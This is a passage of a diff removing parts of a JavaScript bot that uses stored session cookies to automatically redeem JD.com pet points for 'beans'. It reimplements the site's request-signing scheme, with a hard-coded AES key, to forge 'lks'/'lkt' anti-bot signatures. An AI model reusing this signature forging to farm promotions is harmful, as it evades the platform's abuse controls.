'\n\n' : ''}` - // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【${giftValue}京豆】兑换成功\n【宠物等级】${data.level}\n【积分详情】消耗积分 ${salePrice}, 剩余积分 ${data.coin - salePrice}`); - - } - break; - } - // if ($.isNode()) { - // await notify.BarkNotify(`${$.name}`, `【京东账号${$.index}】 ${$.nickName}\n【兑换${giftName}】成功\n【宠物等级】${data.level}\n【消耗积分】${salePrice}分\n【当前剩余】${data.coin - salePrice}积分`); - // } - } else if ($.exchangeRes && $.exchangeRes.errorCode === 'buy_limit') { - console.log(`\n兑换${rewardNum}京豆失败,原因:兑换京豆已达上限,请把机会留给更多的小伙伴~\n`) - //$.msg($.name, `兑换${giftName}失败`, `【京东账号${$.index}】${$.nickName}\n兑换京豆已达上限\n请把机会留给更多的小伙伴~\n`) - break; - } else if ($.exchangeRes && $.exchangeRes.errorCode === 'stock_empty') { - console.log(`\n兑换${rewardNum}京豆失败,原因:当前京豆库存为空\n`) - } else if ($.exchangeRes && $.exchangeRes.errorCode === 'insufficient') { - console.log(`\n兑换${rewardNum}京豆失败,原因:当前账号积分不足兑换${giftValue}京豆所需的${salePrice}积分\n`) - break - } else { - console.log(`\n兑奖失败:${JSON.stringify($.exchangeRes)}`) - } - } else { - console.log(`\n兑换京豆异常:${JSON.stringify($.exchangeRes)}`) - } - } else { - //console.log(`\n按您设置的兑换${rewardNum}京豆失败,原因:京豆库存不足,已抢完,请下一场再兑换\n`); - console.log(`${item['giftName']}当前库存:${item['leftStock']},跳过`) - } - } else { - // console.log(`兑换${rewardNum}京豆失败,原因:您目前只有${data.coin}积分,已不足兑换${giftValue}京豆所需的${salePrice}积分\n`) - //$.msg($.name, `兑换${giftName}失败`, `【京东账号${$.index}】${$.nickName}\n目前只有${data.coin}积分\n已不足兑换${giftName}所需的${salePrice}积分\n`) - } - - } - } - if (strDisable20 == "false") { - for (let item of data[giftSaleInfos]) { - if (item.giftType === 'jd_bean') { - saleInfoId = item.id; - leftStock = item.leftStock; - salePrice = item.salePrice; - giftValue = item.giftValue; - rewardNum = giftValue; - if (salePrice && rewardNum == 20) { - if (leftStock) { - console.log(`${item['giftName']}当前库存:${item['leftStock']},id:${item.id}`) - if (!saleInfoId) - continue; - - // console.log(`当前账户积分:${data.coin}\n当前京豆库存:${leftStock}\n满足兑换条件,开始为您兑换京豆\n`); - console.log(`\n您设置的兑换${giftValue}京豆库存充足,开始为您兑换${giftValue}京豆\n`); - console.log(`脚本开始兑换${rewardNum}京豆时间 ${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")}`); - await exchange(saleInfoId, 'pet'); - console.log(`请求兑换API后时间 ${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")}`); - if ($.exchangeRes && $.exchangeRes.success) { - if ($.exchangeRes.errorCode === 'buy_success') { - // console.log(`兑换${giftValue}成功,【宠物等级】${data.level}\n【消耗积分】${salePrice}个\n【剩余积分】${data.coin - salePrice}个\n`) - console.log(`\n兑换${giftValue}成功,【消耗积分】${salePrice}个\n`); - llSuccess = true; - if ($.isNode() && process.env.JD_JOY_REWARD_NOTIFY) { - $.ctrTemp = `${process.env.JD_JOY_REWARD_NOTIFY}` === 'false'; - } else if ($.getdata('jdJoyRewardNotify')) { - $.ctrTemp = $.getdata('jdJoyRewardNotify') === 'false'; - } else { - $.ctrTemp = `${jdNotify}` === 'false'; - } - if ($.ctrTemp) { - $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【${giftValue}京豆】兑换成功🎉\n【积分详情】消耗积分 ${salePrice}`); - if ($.isNode()) { - allMessage += `【京东账号${$.index}】 ${$.nickName}\n【${giftValue}京豆】兑换成功🎉\n【积分详情】消耗积分 ${salePrice}${$.index !== cookiesArr.length ? '\n\n' : ''}` - // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【${giftValue}京豆】兑换成功\n【宠物等级】${data.level}\n【积分详情】消耗积分 ${salePrice}, 剩余积分 ${data.coin - salePrice}`); - } - - break; - } - // if ($.isNode()) { - // await notify.BarkNotify(`${$.name}`, `【京东账号${$.index}】 ${$.nickName}\n【兑换${giftName}】成功\n【宠物等级】${data.level}\n【消耗积分】${salePrice}分\n【当前剩余】${data.coin - salePrice}积分`); - // } - } else if ($.exchangeRes && $.exchangeRes.errorCode === 'buy_limit') { - console.log(`\n兑换${rewardNum}京豆失败,原因:兑换京豆已达上限,请把机会留给更多的小伙伴~\n`) - //$.msg($.name, `兑换${giftName}失败`, `【京东账号${$.index}】${$.nickName}\n兑换京豆已达上限\n请把机会留给更多的小伙伴~\n`) - break - } else if ($.exchangeRes && $.exchangeRes.errorCode === 'stock_empty') { - console.log(`\n兑换${rewardNum}京豆失败,原因:当前京豆库存为空\n`) - } else if ($.exchangeRes && $.exchangeRes.errorCode === 'insufficient') { - console.log(`\n兑换${rewardNum}京豆失败,原因:当前账号积分不足兑换${giftValue}京豆所需的${salePrice}积分\n`) - break - } else { - console.log(`\n兑奖失败:${JSON.stringify($.exchangeRes)}`) - } - } else { - console.log(`\n兑换京豆异常:${JSON.stringify($.exchangeRes)}`) - } - } else { - //console.log(`\n按您设置的兑换${rewardNum}京豆失败,原因:京豆库存不足,已抢完,请下一场再兑换\n`); - console.log(`${item['giftName']}当前库存:${item['leftStock']},跳过`) - } - } else { - // console.log(`兑换${rewardNum}京豆失败,原因:您目前只有${data.coin}积分,已不足兑换${giftValue}京豆所需的${salePrice}积分\n`) - //$.msg($.name, `兑换${giftName}失败`, `【京东账号${$.index}】${$.nickName}\n目前只有${data.coin}积分\n已不足兑换${giftName}所需的${salePrice}积分\n`) - } - - } - } - } - } else { - console.log(`${$.name}getExchangeRewards异常,${JSON.stringify($.getExchangeRewardsRes)}`) - } - await $.wait(300); - } - } catch (e) { - $.logErr(e) - } -} -function getExchangeRewards() { - let opt = { - url: "//jdjoy.jd.com/common/gift/getBeanConfigs?reqSource=h5&invokeKey=JL1VTNRadM68cIMQ", - method: "GET", - data: {}, - credentials: "include", - header: { - "content-type": "application/json" - } - } - return new Promise((resolve) => { - let lkt = new Date().getTime() - let lks = $.md5('' + 'JL1VTNRadM68cIMQ' + lkt).toString() - const option = { - url: "https:" + taroRequest(opt)['url'] + $.validate, - headers: { - "Host": "jdjoy.jd.com", - "Content-Type": "application/json", - "Cookie": cookie, - "reqSource": "h5", - "Connection": "keep-alive", - "Accept": "*/*", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Referer": "https://jdjoy.jd.com/pet/index", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - 'lkt': lkt, - 'lks': lks - }, - } - $.get(option, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.getExchangeRewardsRes = {}; - if (safeGet(data)) { - $.getExchangeRewardsRes = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp); - } - finally { - resolve(); - } - }); - }) -} -function exchange(saleInfoId, orderSource) { - let body = { - "buyParam": { - "orderSource": orderSource, - "saleInfoId": saleInfoId - }, - "deviceInfo": {} - } - let opt = { - "url": "//jdjoy.jd.com/common/gift/new/exchange?reqSource=h5&invokeKey=JL1VTNRadM68cIMQ", - "data": body, - "credentials": "include", - "method": "POST", - "header": { - "content-type": "application/json" - } - } - return new Promise((resolve) => { - let lkt = new Date().getTime() - let lks = $.md5('' + 'JL1VTNRadM68cIMQ' + lkt).toString() - const option = { - url: "https:" + taroRequest(opt)['url'] + $.validate, - body: `${JSON.stringify(body)}`, - headers: { - "Host": "jdjoy.jd.com", - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Content-Type": "application/json", - "Origin": "https://jdjoy.jd.com", - "reqSource": "h5", - "Connection": "keep-alive", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Referer": "https://jdjoy.jd.com/pet/index", - "Content-Length": "10", - "Cookie": cookie, - 'lkt': lkt, - 'lks': lks - }, - } - $.post(option, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - console.log(`兑换结果:${data}`); - $.exchangeRes = {}; - if (safeGet(data)) { - $.exchangeRes = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp); - } - finally { - resolve(); - } - }); - }) -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve(); - } - }) - }) -} -function getJDServerTime() { - return new Promise(resolve => { - // console.log(Date.now()) - $.get({ - url: "https://a.jd.com//ajax/queryServerData.html", - headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }, async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} 获取京东服务器时间失败,请检查网路重试`) - } else { - data = JSON.parse(data); - $.jdTime = data['serverTime']; - // console.log(data['serverTime']); - // console.log(data['serverTime'] - Date.now()) - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve($.jdTime); - } - }) - }) -} -async function get_diff_time() { - // console.log(`本机时间戳 ${Date.now()}`) - // console.log(`京东服务器时间戳 ${await getJDServerTime()}`) - return Date.now() - await getJDServerTime(); -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function taroRequest(e) { - const a = $.isNode() ? require('crypto-js') : CryptoJS; - const i = "98c14c997fde50cc18bdefecfd48ceb7" - const o = a.enc.Utf8.parse(i) - const r = a.enc.Utf8.parse("ea653f4f3c5eda12"); - let _o = { - "AesEncrypt": function AesEncrypt(e) { - var n = a.enc.Utf8.parse(e); - return a.AES.encrypt(n, o, { - "iv": r, - "mode": a.mode.CBC, - "padding": a.pad.Pkcs7 - }).ciphertext.toString() - }, - "AesDecrypt": function AesDecrypt(e) { - var n = a.enc.Hex.parse(e), - t = a.enc.Base64.stringify(n); - return a.AES.decrypt(t, o, { - "iv": r, - "mode": a.mode.CBC, - "padding": a.pad.Pkcs7 - }).toString(a.enc.Utf8).toString() - }, - "Base64Encode": function Base64Encode(e) { - var n = a.enc.Utf8.parse(e); - return a.enc.Base64.stringify(n) - }, - "Base64Decode": function Base64Decode(e) { - return a.enc.Base64.parse(e).toString(a.enc.Utf8) - }, - "Md5encode": function Md5encode(e) { - return a.MD5(e).toString() - }, - "keyCode": "98c14c997fde50cc18bdefecfd48ceb7" - } - - const c = function sortByLetter(e, n) { - if (e instanceof Array) { - n = n || []; - for (var t = 0; t < e.length; t++) - n[t] = sortByLetter(e[t], n[t]) - } else - !(e instanceof Array) && e instanceof Object ? (n = n || {}, - Object.keys(e).sort().map(function (t) { - n[t] = sortByLetter(e[t], n[t]) - })) : n = e; - return n - } - const s = function isInWhiteAPI(e) { - for (var n = ["gift", "pet"], t = !1, a = 0; a < n.length; a++) { - var i = n[a]; - e.includes(i) && !t && (t = !0) - } - return t - } - - const d = function addQueryToPath(e, n) { - if (n && Object.keys(n).length > 0) { - var t = Object.keys(n).map(function (e) { - return e + "=" + n[e] - }).join("&"); - return e.indexOf("?") >= 0 ? e + "&" + t : e + "?" + t - } - return e - } - const l = function apiConvert(e) { - for (var n = r, t = 0; t < n.length; t++) { - var a = n[t]; - e.includes(a) && !e.includes("common/" + a) && (e = e.replace(a, "common/" + a)) - } - return e - } - - var n = e, - t = (n.header, - n.url); - t += (t.indexOf("?") > -1 ? "&" : "?") + "reqSource=h5"; - var _a = function getTimeSign(e) { - var n = e.url, - t = e.method, - a = void 0 === t ? "GET" : t, - i = e.data, - r = e.header, - m = void 0 === r ? {} - : r, - p = a.toLowerCase(), - g = _o.keyCode, - f = m["content-type"] || m["Content-Type"] || "", - h = "", - u = +new Date(); - return h = "get" !== p && - ("post" !== p || "application/x-www-form-urlencoded" !== f.toLowerCase() && i && Object.keys(i).length) ? - _o.Md5encode(_o.Base64Encode(_o.AesEncrypt("" + JSON.stringify(c(i)))) + "_" + g + "_" + u) : - _o.Md5encode("_" + g + "_" + u), - s(n) && (n = d(n, { - "lks": h, - "lkt": u - }), - n = l(n)), - Object.assign(e, { - "url": n - }) - } - (e = Object.assign(e, { - "url": t - })); - return _a -} -// md5 -!function (n) { - function t(n, t) { - var r = (65535 & n) + (65535 & t); - return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r - } - function r(n, t) { - return n << t | n >>> 32 - t - } - function e(n, e, o, u, c, f) { - return t(r(t(t(e, n), t(u, f)), c), o) - } - function o(n, t, r, o, u, c, f) { - return e(t & r | ~t & o, n, t, u, c, f) - } - function u(n, t, r, o, u, c, f) { - return e(t & o | r & ~o, n, t, u, c, f) - } - function c(n, t, r, o, u, c, f) { - return e(t ^ r ^ o, n, t, u, c, f) - } - function f(n, t, r, o, u, c, f) { - return e(r ^ (t | ~o), n, t, u, c, f) - } - function i(n, r) { - n[r >> 5] |= 128 << r % 32, - n[14 + (r + 64 >>> 9 << 4)] = r; - var e, - i, - a, - d, - h, - l = 1732584193, - g = -271733879, - v = -1732584194, - m = 271733878; - for (e = 0; e < n.length; e += 16) { - i = l, - a = g, - d = v, - h = m, - g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), - l = t(l, i), - g = t(g, a), - v = t(v, d), - m = t(m, h) - } - return [l, g, v, m] - } - function a(n) { - var t, - r = "", - e = 32 * n.length; - for (t = 0; t < e; t += 8) { - r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255) - } - return r - } - function d(n) { - var t, - r = []; - for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1) { - r[t] = 0 - } - var e = 8 * n.length; - for (t = 0; t < e; t += 8) { - r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32 - } - return r - } - function h(n) { - return a(i(d(n), 8 * n.length)) - } - function l(n, t) { - var r, - e, - o = d(n), - u = [], - c = []; - for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1) { - u[r] = 909522486 ^ o[r], - c[r] = 1549556828 ^ o[r] - } - return e = i(u.concat(d(t)), 512 + 8 * t.length), - a(i(c.concat(e), 640)) - } - function g(n) { - var t, - r, - e = ""; - for (r = 0; r < n.length; r += 1) { - t = n.charCodeAt(r), - e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t) - } - return e - } - function v(n) { - return unescape(encodeURIComponent(n)) - } - function m(n) { - return h(v(n)) - } - function p(n) { - return g(m(n)) - } - function s(n, t) { - return l(v(n), v(t)) - } - function C(n, t) { - return g(s(n, t)) - } - function A(n, t, r) { - return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) - } - $.md5 = A -} -(this); -// prettier-ignore -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - class s { - constructor(t) { - this.env = t - } - send(t, e = "GET") { - t = "string" == typeof t ? { - url: t - } - : t; - let s = this.get; - return "POST" === e && (s = this.post), - new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - get(t) { - return this.send.call(this.env, t) - } - post(t) { - return this.send.call(this.env, t, "POST") - } - } - return new class { - constructor(t, e) { - this.name = t, - this.http = new s(this), - this.data = null, - this.dataFile = "box.dat", - this.logs = [], - this.isMute = !1, - this.isNeedRewrite = !1, - this.logSeparator = "\n", - this.startTime = (new Date).getTime(), - Object.assign(this, e), - this.log("", `🔔${this.name}, 开始!`) - } - isNode() { - return "undefined" != typeof module && !!module.exports - } - isQuanX() { - return "undefined" != typeof $task - } - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon - } - isLoon() { - return "undefined" != typeof $loon - } - toObj(t, e = null) { - try { - return JSON.parse(t) - } catch { - return e - } - } - toStr(t, e = null) { - try { - return JSON.stringify(t) - } catch { - return e - } - } - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) - try { - s = JSON.parse(this.getdata(t)) - } catch {} - return s - } - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e) - } catch { - return !1 - } - } - getScript(t) { - return new Promise(e => { - this.get({ - url: t - }, (t, s, i) => e(i)) - }) - } - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, - r = e && e.timeout ? e.timeout : r; - const[o, h] = i.split("@"), - n = { - url: `http://${h}/v1/scripting/evaluate`, - body: { - script_text: t, - mock_type: "cron", - timeout: r - }, - headers: { - "X-Key": o, - Accept: "*/*" - } - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - loaddata() { - if (!this.isNode()) - return {}; { - this.fs = this.fs ? this.fs : require("fs"), - this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); - if (!s && !i) - return {}; { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)) - } catch (t) { - return {} - } - } - } - } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), - this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) - if (r = Object(r)[t], void 0 === r) - return s; - return r - } - lodash_set(t, e, s) { - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), - r = s ? this.getval(s) : ""; - if (r) - try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { - e = "" - } - } - return e - } - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), - o = this.getval(i), - h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), - s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), - s = this.setval(JSON.stringify(o), i) - } - } else - s = this.setval(t, e); - return s - } - getval(t) { - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - setval(t, e) { - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - initGotEnv(t) { - this.got = this.got ? this.got : require("got"), - this.cktough = this.cktough ? this.cktough : require("tough-cookie"), - this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, - t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - get(t, e = (() => {})) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), - this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), - e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), - e.cookieJar = this.ckjar - } - } catch (t) { - this.logErr(t) - } - }).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - })) - } - post(t, e = (() => {})) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) - this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), - e(t, s, i) - }); - else if (this.isQuanX()) - t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t)); - else if (this.isNode()) { - this.initGotEnv(t); - const { - url: s, - ...i - } = t; - this.got.post(s, i).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - }) - } - } - time(t, e = null) { - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let e in i) - new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) - return t; - if ("string" == typeof t) - return this.isLoon() ? t : this.isQuanX() ? { - "open-url": t - } - : this.isSurge() ? { - url: t - } - : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; - return { - openUrl: e, - mediaUrl: s - } - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; - return { - "open-url": e, - "media-url": s - } - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return { - url: e - } - } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), - s && t.push(s), - i && t.push(i), - console.log(t.join("\n")), - this.logs = this.logs.concat(t) - } - } - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), - console.log(t.join(this.logSeparator)) - } - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - wait(t) { - return new Promise(e => setTimeout(e, t)) - } - done(t = {}) { - const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), - this.log(), - (this.isSurge() || this.isQuanX() || this.isLoon()) && 